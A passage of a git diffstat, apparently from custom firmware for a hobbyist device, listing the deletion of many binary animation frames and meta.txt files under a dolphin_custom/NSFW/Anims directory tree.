.../NSFW/Anims/lvl_12/frame_9.bm | Bin 1025 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_12/meta.txt | 14 -- .../NSFW/Anims/lvl_13/frame_0.bm | Bin 958 -> 0 bytes .../NSFW/Anims/lvl_13/frame_1.bm | Bin 937 -> 0 bytes .../NSFW/Anims/lvl_13/frame_10.bm | Bin 943 -> 0 bytes .../NSFW/Anims/lvl_13/frame_2.bm | Bin 937 -> 0 bytes .../NSFW/Anims/lvl_13/frame_3.bm | Bin 946 -> 0 bytes .../NSFW/Anims/lvl_13/frame_4.bm | Bin 941 -> 0 bytes .../NSFW/Anims/lvl_13/frame_5.bm | Bin 959 -> 0 bytes .../NSFW/Anims/lvl_13/frame_6.bm | Bin 946 -> 0 bytes .../NSFW/Anims/lvl_13/frame_7.bm | Bin 947 -> 0 bytes .../NSFW/Anims/lvl_13/frame_8.bm | Bin 948 -> 0 bytes .../NSFW/Anims/lvl_13/frame_9.bm | Bin 955 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_13/meta.txt | 14 -- .../NSFW/Anims/lvl_14/frame_0.bm | Bin 392 -> 0 bytes .../NSFW/Anims/lvl_14/frame_1.bm | Bin 418 -> 0 bytes .../NSFW/Anims/lvl_14/frame_2.bm | Bin 434 -> 0 bytes .../NSFW/Anims/lvl_14/frame_3.bm | Bin 414 -> 0 bytes .../NSFW/Anims/lvl_14/frame_4.bm | Bin 446 -> 0 bytes .../NSFW/Anims/lvl_14/frame_5.bm | Bin 422 -> 0 bytes .../NSFW/Anims/lvl_14/frame_6.bm | Bin 358 -> 0 bytes .../NSFW/Anims/lvl_14/frame_7.bm | Bin 368 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_14/meta.txt | 14 -- .../NSFW/Anims/lvl_15/frame_0.bm | Bin 526 -> 0 bytes .../NSFW/Anims/lvl_15/frame_1.bm | Bin 555 -> 0 bytes .../NSFW/Anims/lvl_15/frame_10.bm | Bin 590 -> 0 bytes .../NSFW/Anims/lvl_15/frame_11.bm | Bin 588 -> 0 bytes .../NSFW/Anims/lvl_15/frame_12.bm | Bin 563 -> 0 bytes .../NSFW/Anims/lvl_15/frame_13.bm | Bin 552 -> 0 bytes .../NSFW/Anims/lvl_15/frame_14.bm | Bin 544 -> 0 bytes .../NSFW/Anims/lvl_15/frame_15.bm | Bin 553 -> 0 bytes .../NSFW/Anims/lvl_15/frame_16.bm | Bin 553 -> 0 bytes .../NSFW/Anims/lvl_15/frame_17.bm | Bin 544 -> 0 bytes .../NSFW/Anims/lvl_15/frame_18.bm | Bin 537 -> 0 bytes .../NSFW/Anims/lvl_15/frame_19.bm | Bin 541 -> 0 bytes .../NSFW/Anims/lvl_15/frame_2.bm | Bin 550 -> 0 bytes .../NSFW/Anims/lvl_15/frame_20.bm | Bin 545 -> 0 bytes .../NSFW/Anims/lvl_15/frame_21.bm | Bin 544 -> 0 bytes .../NSFW/Anims/lvl_15/frame_3.bm | Bin 584 -> 0 bytes .../NSFW/Anims/lvl_15/frame_4.bm | Bin 584 -> 0 bytes .../NSFW/Anims/lvl_15/frame_5.bm | Bin 557 -> 0 bytes .../NSFW/Anims/lvl_15/frame_6.bm | Bin 564 -> 0 bytes .../NSFW/Anims/lvl_15/frame_7.bm | Bin 595 -> 0 bytes .../NSFW/Anims/lvl_15/frame_8.bm | Bin 616 -> 0 bytes .../NSFW/Anims/lvl_15/frame_9.bm | Bin 611 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_15/meta.txt | 14 -- .../NSFW/Anims/lvl_16/frame_0.bm | Bin 662 -> 0 bytes .../NSFW/Anims/lvl_16/frame_1.bm | Bin 658 -> 0 bytes .../NSFW/Anims/lvl_16/frame_10.bm | Bin 628 -> 0 bytes .../NSFW/Anims/lvl_16/frame_11.bm | Bin 629 -> 0 bytes .../NSFW/Anims/lvl_16/frame_12.bm | Bin 591 -> 0 bytes .../NSFW/Anims/lvl_16/frame_13.bm | Bin 572 -> 0 bytes .../NSFW/Anims/lvl_16/frame_14.bm | Bin 536 -> 0 bytes .../NSFW/Anims/lvl_16/frame_15.bm | Bin 519 -> 0 bytes .../NSFW/Anims/lvl_16/frame_16.bm | Bin 520 -> 0 bytes .../NSFW/Anims/lvl_16/frame_17.bm | Bin 517 -> 0 bytes .../NSFW/Anims/lvl_16/frame_18.bm | Bin 549 -> 0 bytes .../NSFW/Anims/lvl_16/frame_19.bm | Bin 534 -> 0 bytes .../NSFW/Anims/lvl_16/frame_2.bm | Bin 670 -> 0 bytes .../NSFW/Anims/lvl_16/frame_20.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_16/frame_3.bm | Bin 659 -> 0 bytes .../NSFW/Anims/lvl_16/frame_4.bm | Bin 663 -> 0 bytes .../NSFW/Anims/lvl_16/frame_5.bm | Bin 654 -> 0 bytes .../NSFW/Anims/lvl_16/frame_6.bm | Bin 659 -> 0 bytes .../NSFW/Anims/lvl_16/frame_7.bm | Bin 671 -> 0 bytes .../NSFW/Anims/lvl_16/frame_8.bm | Bin 681 -> 0 bytes .../NSFW/Anims/lvl_16/frame_9.bm | Bin 666 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_16/meta.txt | 14 -- .../NSFW/Anims/lvl_17/frame_0.bm | Bin 595 -> 0 bytes .../NSFW/Anims/lvl_17/frame_1.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_17/frame_10.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_17/frame_11.bm | Bin 548 -> 0 bytes .../NSFW/Anims/lvl_17/frame_12.bm | Bin 593 -> 0 bytes .../NSFW/Anims/lvl_17/frame_13.bm | Bin 584 -> 0 bytes .../NSFW/Anims/lvl_17/frame_14.bm | Bin 548 -> 0 bytes .../NSFW/Anims/lvl_17/frame_15.bm | Bin 555 -> 0 bytes .../NSFW/Anims/lvl_17/frame_16.bm | Bin 505 -> 0 bytes .../NSFW/Anims/lvl_17/frame_17.bm | Bin 452 -> 0 bytes .../NSFW/Anims/lvl_17/frame_18.bm | Bin 362 -> 0 bytes .../NSFW/Anims/lvl_17/frame_19.bm | Bin 360 -> 0 bytes .../NSFW/Anims/lvl_17/frame_2.bm | Bin 554 -> 0 bytes .../NSFW/Anims/lvl_17/frame_20.bm | Bin 380 -> 0 bytes .../NSFW/Anims/lvl_17/frame_21.bm | Bin 382 -> 0 bytes .../NSFW/Anims/lvl_17/frame_22.bm | Bin 377 -> 0 bytes .../NSFW/Anims/lvl_17/frame_23.bm | Bin 371 -> 0 bytes .../NSFW/Anims/lvl_17/frame_24.bm | Bin 357 -> 0 bytes .../NSFW/Anims/lvl_17/frame_25.bm | Bin 363 -> 0 bytes .../NSFW/Anims/lvl_17/frame_26.bm | Bin 454 -> 0 bytes .../NSFW/Anims/lvl_17/frame_27.bm | Bin 508 -> 0 bytes .../NSFW/Anims/lvl_17/frame_28.bm | Bin 550 -> 0 bytes .../NSFW/Anims/lvl_17/frame_29.bm | Bin 543 -> 0 bytes .../NSFW/Anims/lvl_17/frame_3.bm | Bin 556 -> 0 bytes .../NSFW/Anims/lvl_17/frame_30.bm | Bin 578 -> 0 bytes .../NSFW/Anims/lvl_17/frame_31.bm | Bin 573 -> 0 bytes .../NSFW/Anims/lvl_17/frame_4.bm | Bin 570 -> 0 bytes .../NSFW/Anims/lvl_17/frame_5.bm | Bin 566 -> 0 bytes .../NSFW/Anims/lvl_17/frame_6.bm | Bin 570 -> 0 bytes .../NSFW/Anims/lvl_17/frame_7.bm | Bin 566 -> 0 bytes .../NSFW/Anims/lvl_17/frame_8.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_17/frame_9.bm | Bin 554 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_17/meta.txt | 14 -- .../NSFW/Anims/lvl_18/frame_0.bm | Bin 690 -> 0 bytes .../NSFW/Anims/lvl_18/frame_1.bm | Bin 663 -> 0 bytes .../NSFW/Anims/lvl_18/frame_10.bm | Bin 665 -> 0 bytes .../NSFW/Anims/lvl_18/frame_11.bm | Bin 674 -> 0 bytes .../NSFW/Anims/lvl_18/frame_12.bm | Bin 735 -> 0 bytes .../NSFW/Anims/lvl_18/frame_13.bm | Bin 703 -> 0 bytes .../NSFW/Anims/lvl_18/frame_14.bm | Bin 711 -> 0 bytes .../NSFW/Anims/lvl_18/frame_15.bm | Bin 695 -> 0 bytes .../NSFW/Anims/lvl_18/frame_16.bm | Bin 683 -> 0 bytes .../NSFW/Anims/lvl_18/frame_17.bm | Bin 706 -> 0 bytes .../NSFW/Anims/lvl_18/frame_18.bm | Bin 748 -> 0 bytes .../NSFW/Anims/lvl_18/frame_19.bm | Bin 757 -> 0 bytes .../NSFW/Anims/lvl_18/frame_2.bm | Bin 671 -> 0 bytes .../NSFW/Anims/lvl_18/frame_20.bm | Bin 736 -> 0 bytes .../NSFW/Anims/lvl_18/frame_21.bm | Bin 736 -> 0 bytes .../NSFW/Anims/lvl_18/frame_22.bm | Bin 733 -> 0 bytes .../NSFW/Anims/lvl_18/frame_3.bm | Bin 647 -> 0 bytes .../NSFW/Anims/lvl_18/frame_4.bm | Bin 645 -> 0 bytes .../NSFW/Anims/lvl_18/frame_5.bm | Bin 643 -> 0 bytes .../NSFW/Anims/lvl_18/frame_6.bm | Bin 697 -> 0 bytes .../NSFW/Anims/lvl_18/frame_7.bm | Bin 670 -> 0 bytes .../NSFW/Anims/lvl_18/frame_8.bm | Bin 697 -> 0 bytes .../NSFW/Anims/lvl_18/frame_9.bm | Bin 657 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_18/meta.txt | 14 -- .../NSFW/Anims/lvl_19/frame_0.bm | Bin 480 -> 0 bytes .../NSFW/Anims/lvl_19/frame_1.bm | Bin 477 -> 0 bytes .../NSFW/Anims/lvl_19/frame_10.bm | Bin 477 -> 0 bytes .../NSFW/Anims/lvl_19/frame_11.bm | Bin 466 -> 0 bytes .../NSFW/Anims/lvl_19/frame_12.bm | Bin 458 -> 0 bytes .../NSFW/Anims/lvl_19/frame_13.bm | Bin 474 -> 0 bytes .../NSFW/Anims/lvl_19/frame_14.bm | Bin 481 -> 0 bytes .../NSFW/Anims/lvl_19/frame_15.bm | Bin 467 -> 0 bytes .../NSFW/Anims/lvl_19/frame_16.bm | Bin 471 -> 0 bytes .../NSFW/Anims/lvl_19/frame_17.bm | Bin 471 -> 0 bytes .../NSFW/Anims/lvl_19/frame_18.bm | Bin 474 -> 0 bytes .../NSFW/Anims/lvl_19/frame_19.bm | Bin 499 -> 0 bytes .../NSFW/Anims/lvl_19/frame_2.bm | Bin 495 -> 0 bytes .../NSFW/Anims/lvl_19/frame_20.bm | Bin 507 -> 0 bytes .../NSFW/Anims/lvl_19/frame_21.bm | Bin 476 -> 0 bytes .../NSFW/Anims/lvl_19/frame_3.bm | Bin 498 -> 0 bytes .../NSFW/Anims/lvl_19/frame_4.bm | Bin 481 -> 0 bytes .../NSFW/Anims/lvl_19/frame_5.bm | Bin 466 -> 0 bytes .../NSFW/Anims/lvl_19/frame_6.bm | Bin 464 -> 0 bytes .../NSFW/Anims/lvl_19/frame_7.bm | Bin 468 -> 0 bytes .../NSFW/Anims/lvl_19/frame_8.bm | Bin 479 -> 0 bytes .../NSFW/Anims/lvl_19/frame_9.bm | Bin 479 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_19/meta.txt | 14 -- .../NSFW/Anims/lvl_2/frame_0.bm | Bin 807 -> 0 bytes .../NSFW/Anims/lvl_2/frame_1.bm | Bin 817 -> 0 bytes .../NSFW/Anims/lvl_2/frame_10.bm | Bin 963 -> 0 bytes .../NSFW/Anims/lvl_2/frame_11.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_2/frame_12.bm | Bin 1010 -> 0 bytes .../NSFW/Anims/lvl_2/frame_13.bm | Bin 984 -> 0 bytes .../NSFW/Anims/lvl_2/frame_14.bm | Bin 917 -> 0 bytes .../NSFW/Anims/lvl_2/frame_2.bm | Bin 823 -> 0 bytes .../NSFW/Anims/lvl_2/frame_3.bm | Bin 839 -> 0 bytes .../NSFW/Anims/lvl_2/frame_4.bm | Bin 875 -> 0 bytes .../NSFW/Anims/lvl_2/frame_5.bm | Bin 892 -> 0 bytes .../NSFW/Anims/lvl_2/frame_6.bm | Bin 950 -> 0 bytes .../NSFW/Anims/lvl_2/frame_7.bm | Bin 917 -> 0 bytes .../NSFW/Anims/lvl_2/frame_8.bm | Bin 975 -> 0 bytes .../NSFW/Anims/lvl_2/frame_9.bm | Bin 949 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_2/meta.txt | 14 -- .../NSFW/Anims/lvl_20/frame_0.bm | Bin 894 -> 0 bytes .../NSFW/Anims/lvl_20/frame_1.bm | Bin 914 -> 0 bytes .../NSFW/Anims/lvl_20/frame_10.bm | Bin 945 -> 0 bytes .../NSFW/Anims/lvl_20/frame_11.bm | Bin 943 -> 0 bytes .../NSFW/Anims/lvl_20/frame_12.bm | Bin 939 -> 0 bytes .../NSFW/Anims/lvl_20/frame_13.bm | Bin 935 -> 0 bytes .../NSFW/Anims/lvl_20/frame_2.bm | Bin 921 -> 0 bytes .../NSFW/Anims/lvl_20/frame_3.bm | Bin 929 -> 0 bytes .../NSFW/Anims/lvl_20/frame_4.bm | Bin 919 -> 0 bytes .../NSFW/Anims/lvl_20/frame_5.bm | Bin 928 -> 0 bytes .../NSFW/Anims/lvl_20/frame_6.bm | Bin 912 -> 0 bytes .../NSFW/Anims/lvl_20/frame_7.bm | Bin 935 -> 0 bytes .../NSFW/Anims/lvl_20/frame_8.bm | Bin 937 -> 0 bytes .../NSFW/Anims/lvl_20/frame_9.bm | Bin 935 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_20/meta.txt | 14 -- .../NSFW/Anims/lvl_21/frame_0.bm | Bin 526 -> 0 bytes .../NSFW/Anims/lvl_21/frame_1.bm | Bin 504 -> 0 bytes .../NSFW/Anims/lvl_21/frame_2.bm | Bin 502 -> 0 bytes .../NSFW/Anims/lvl_21/frame_3.bm | Bin 491 -> 0 bytes .../NSFW/Anims/lvl_21/frame_4.bm | Bin 502 -> 0 bytes .../NSFW/Anims/lvl_21/frame_5.bm | Bin 507 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_21/meta.txt | 14 -- .../NSFW/Anims/lvl_22/frame_0.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_1.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_10.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_11.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_12.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_13.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_14.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_15.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_16.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_17.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_18.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_19.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_2.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_20.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_21.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_22.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_23.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_24.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_25.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_26.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_27.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_28.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_29.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_3.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_30.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_31.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_32.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_33.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_34.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_35.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_36.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_37.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_38.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_39.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_4.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_40.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_41.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_42.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_43.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_44.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_45.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_46.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_47.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_48.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_49.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_5.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_50.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_51.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_52.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_53.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_54.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_55.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_56.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_57.bm | Bin 547 -> 0 bytes .../NSFW/Anims/lvl_22/frame_58.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_59.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_6.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_22/frame_7.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_22/frame_8.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_22/frame_9.bm | Bin 547 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_22/meta.txt | 14 -- .../NSFW/Anims/lvl_23/frame_0.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_1.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_10.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_11.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_12.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_13.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_14.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_15.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_16.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_2.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_3.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_4.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_5.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_6.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_7.bm | Bin 1025 -> 0 bytes .../NSFW/Anims/lvl_23/frame_8.bm | Bin 498 -> 0 bytes .../NSFW/Anims/lvl_23/frame_9.bm | Bin 1025 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_23/meta.txt | 14 -- .../NSFW/Anims/lvl_24/frame_0.bm | Bin 674 -> 0 bytes .../NSFW/Anims/lvl_24/frame_1.bm | Bin 687 -> 0 bytes .../NSFW/Anims/lvl_24/frame_10.bm | Bin 825 -> 0 bytes .../NSFW/Anims/lvl_24/frame_11.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_12.bm | Bin 828 -> 0 bytes .../NSFW/Anims/lvl_24/frame_13.bm | Bin 822 -> 0 bytes .../NSFW/Anims/lvl_24/frame_14.bm | Bin 825 -> 0 bytes .../NSFW/Anims/lvl_24/frame_15.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_16.bm | Bin 830 -> 0 bytes .../NSFW/Anims/lvl_24/frame_17.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_18.bm | Bin 824 -> 0 bytes .../NSFW/Anims/lvl_24/frame_19.bm | Bin 823 -> 0 bytes .../NSFW/Anims/lvl_24/frame_2.bm | Bin 712 -> 0 bytes .../NSFW/Anims/lvl_24/frame_20.bm | Bin 821 -> 0 bytes .../NSFW/Anims/lvl_24/frame_21.bm | Bin 825 -> 0 bytes .../NSFW/Anims/lvl_24/frame_22.bm | Bin 822 -> 0 bytes .../NSFW/Anims/lvl_24/frame_23.bm | Bin 824 -> 0 bytes .../NSFW/Anims/lvl_24/frame_24.bm | Bin 823 -> 0 bytes .../NSFW/Anims/lvl_24/frame_25.bm | Bin 823 -> 0 bytes .../NSFW/Anims/lvl_24/frame_26.bm | Bin 833 -> 0 bytes .../NSFW/Anims/lvl_24/frame_27.bm | Bin 833 -> 0 bytes .../NSFW/Anims/lvl_24/frame_28.bm | Bin 828 -> 0 bytes .../NSFW/Anims/lvl_24/frame_29.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_3.bm | Bin 760 -> 0 bytes .../NSFW/Anims/lvl_24/frame_4.bm | Bin 854 -> 0 bytes .../NSFW/Anims/lvl_24/frame_5.bm | Bin 847 -> 0 bytes .../NSFW/Anims/lvl_24/frame_6.bm | Bin 824 -> 0 bytes .../NSFW/Anims/lvl_24/frame_7.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_8.bm | Bin 826 -> 0 bytes .../NSFW/Anims/lvl_24/frame_9.bm | Bin 828 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_24/meta.txt | 14 -- .../NSFW/Anims/lvl_25/frame_0.bm | Bin 988 -> 0 bytes .../NSFW/Anims/lvl_25/frame_1.bm | Bin 988 -> 0 bytes .../NSFW/Anims/lvl_25/frame_10.bm | Bin 999 -> 0 bytes .../NSFW/Anims/lvl_25/frame_11.bm | Bin 993 -> 0 bytes .../NSFW/Anims/lvl_25/frame_12.bm | Bin 1002 -> 0 bytes .../NSFW/Anims/lvl_25/frame_13.bm | Bin 1009 -> 0 bytes .../NSFW/Anims/lvl_25/frame_14.bm | Bin 1009 -> 0 bytes .../NSFW/Anims/lvl_25/frame_15.bm | Bin 998 -> 0 bytes .../NSFW/Anims/lvl_25/frame_16.bm | Bin 991 -> 0 bytes .../NSFW/Anims/lvl_25/frame_17.bm | Bin 994 -> 0 bytes .../NSFW/Anims/lvl_25/frame_18.bm | Bin 972 -> 0 bytes .../NSFW/Anims/lvl_25/frame_19.bm | Bin 1000 -> 0 bytes .../NSFW/Anims/lvl_25/frame_2.bm | Bin 990 -> 0 bytes .../NSFW/Anims/lvl_25/frame_20.bm | Bin 998 -> 0 bytes .../NSFW/Anims/lvl_25/frame_21.bm | Bin 1004 -> 0 bytes .../NSFW/Anims/lvl_25/frame_22.bm | Bin 1008 -> 0 bytes .../NSFW/Anims/lvl_25/frame_23.bm | Bin 1011 -> 0 bytes .../NSFW/Anims/lvl_25/frame_24.bm | Bin 979 -> 0 bytes .../NSFW/Anims/lvl_25/frame_25.bm | Bin 982 -> 0 bytes .../NSFW/Anims/lvl_25/frame_26.bm | Bin 969 -> 0 bytes .../NSFW/Anims/lvl_25/frame_27.bm | Bin 971 -> 0 bytes .../NSFW/Anims/lvl_25/frame_28.bm | Bin 985 -> 0 bytes .../NSFW/Anims/lvl_25/frame_29.bm | Bin 1014 -> 0 bytes .../NSFW/Anims/lvl_25/frame_3.bm | Bin 1007 -> 0 bytes .../NSFW/Anims/lvl_25/frame_30.bm | Bin 1006 -> 0 bytes .../NSFW/Anims/lvl_25/frame_31.bm | Bin 1005 -> 0 bytes .../NSFW/Anims/lvl_25/frame_32.bm | Bin 1008 -> 0 bytes .../NSFW/Anims/lvl_25/frame_33.bm | Bin 984 -> 0 bytes .../NSFW/Anims/lvl_25/frame_34.bm | Bin 986 -> 0 bytes .../NSFW/Anims/lvl_25/frame_35.bm | Bin 992 -> 0 bytes .../NSFW/Anims/lvl_25/frame_4.bm | Bin 1002 -> 0 bytes .../NSFW/Anims/lvl_25/frame_5.bm | Bin 1003 -> 0 bytes .../NSFW/Anims/lvl_25/frame_6.bm | Bin 994 -> 0 bytes .../NSFW/Anims/lvl_25/frame_7.bm | Bin 989 -> 0 bytes .../NSFW/Anims/lvl_25/frame_8.bm | Bin 990 -> 0 bytes .../NSFW/Anims/lvl_25/frame_9.bm | Bin 987 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_25/meta.txt | 14 -- .../NSFW/Anims/lvl_26/frame_0.bm | Bin 656 -> 0 bytes .../NSFW/Anims/lvl_26/frame_1.bm | Bin 685 -> 0 bytes .../NSFW/Anims/lvl_26/frame_10.bm | Bin 678 -> 0 bytes .../NSFW/Anims/lvl_26/frame_11.bm | Bin 684 -> 0 bytes .../NSFW/Anims/lvl_26/frame_2.bm | Bin 679 -> 0 bytes .../NSFW/Anims/lvl_26/frame_3.bm | Bin 682 -> 0 bytes .../NSFW/Anims/lvl_26/frame_4.bm | Bin 662 -> 0 bytes .../NSFW/Anims/lvl_26/frame_5.bm | Bin 662 -> 0 bytes .../NSFW/Anims/lvl_26/frame_6.bm | Bin 665 -> 0 bytes .../NSFW/Anims/lvl_26/frame_7.bm | Bin 673 -> 0 bytes .../NSFW/Anims/lvl_26/frame_8.bm | Bin 682 -> 0 bytes .../NSFW/Anims/lvl_26/frame_9.bm | Bin 681 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_26/meta.txt | 14 -- .../NSFW/Anims/lvl_27/frame_0.bm | Bin 559 -> 0 bytes .../NSFW/Anims/lvl_27/frame_1.bm | Bin 568 -> 0 bytes .../NSFW/Anims/lvl_27/frame_10.bm | Bin 570 -> 0 bytes .../NSFW/Anims/lvl_27/frame_11.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_27/frame_12.bm | Bin 552 -> 0 bytes .../NSFW/Anims/lvl_27/frame_13.bm | Bin 564 -> 0 bytes .../NSFW/Anims/lvl_27/frame_14.bm | Bin 560 -> 0 bytes .../NSFW/Anims/lvl_27/frame_15.bm | Bin 546 -> 0 bytes .../NSFW/Anims/lvl_27/frame_16.bm | Bin 527 -> 0 bytes .../NSFW/Anims/lvl_27/frame_17.bm | Bin 533 -> 0 bytes .../NSFW/Anims/lvl_27/frame_18.bm | Bin 541 -> 0 bytes .../NSFW/Anims/lvl_27/frame_19.bm | Bin 553 -> 0 bytes .../NSFW/Anims/lvl_27/frame_2.bm | Bin 575 -> 0 bytes .../NSFW/Anims/lvl_27/frame_20.bm | Bin 553 -> 0 bytes .../NSFW/Anims/lvl_27/frame_21.bm | Bin 577 -> 0 bytes .../NSFW/Anims/lvl_27/frame_3.bm | Bin 555 -> 0 bytes .../NSFW/Anims/lvl_27/frame_4.bm | Bin 549 -> 0 bytes .../NSFW/Anims/lvl_27/frame_5.bm | Bin 565 -> 0 bytes .../NSFW/Anims/lvl_27/frame_6.bm | Bin 557 -> 0 bytes .../NSFW/Anims/lvl_27/frame_7.bm | Bin 551 -> 0 bytes .../NSFW/Anims/lvl_27/frame_8.bm | Bin 557 -> 0 bytes .../NSFW/Anims/lvl_27/frame_9.bm | Bin 573 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_27/meta.txt | 14 -- .../NSFW/Anims/lvl_28/frame_0.bm | Bin 734 -> 0 bytes .../NSFW/Anims/lvl_28/frame_1.bm | Bin 709 -> 0 bytes .../NSFW/Anims/lvl_28/frame_2.bm | Bin 716 -> 0 bytes .../NSFW/Anims/lvl_28/frame_3.bm | Bin 642 -> 0 bytes .../NSFW/Anims/lvl_28/frame_4.bm | Bin 646 -> 0 bytes .../NSFW/Anims/lvl_28/frame_5.bm | Bin 745 -> 0 bytes .../dolphin_custom/NSFW/Anims/lvl_28/meta.txt | 14 -- .../NSFW/Anims/lvl_29/frame_0.bm | Bin 263 -> 0 bytes .../NSFW/Anims/lvl_29/frame_1.bm | Bin 267 -> 0 bytes .../NSFW/Anims/lvl_29/frame_10.bm | Bin 263 -> 0 bytes .../NSFW/Anims/lvl_29/frame_11.bm | Bin 276 -> 0 bytes .../NSFW/Anims/lvl_29/frame_12.bm | Bin 304 -> 0 bytes .../NSFW/Anims/lvl_29/frame_13.bm | Bin 286 -> 0 bytes .../NSFW/Anims/lvl_29/frame_14.bm | Bin 299 -> 0 bytes .../NSFW/Anims/lvl_29/frame_15.bm | Bin 283 -> 0 bytes .../NSFW/Anims/lvl_29/frame_16.bm | Bin 320 -> 0 bytes 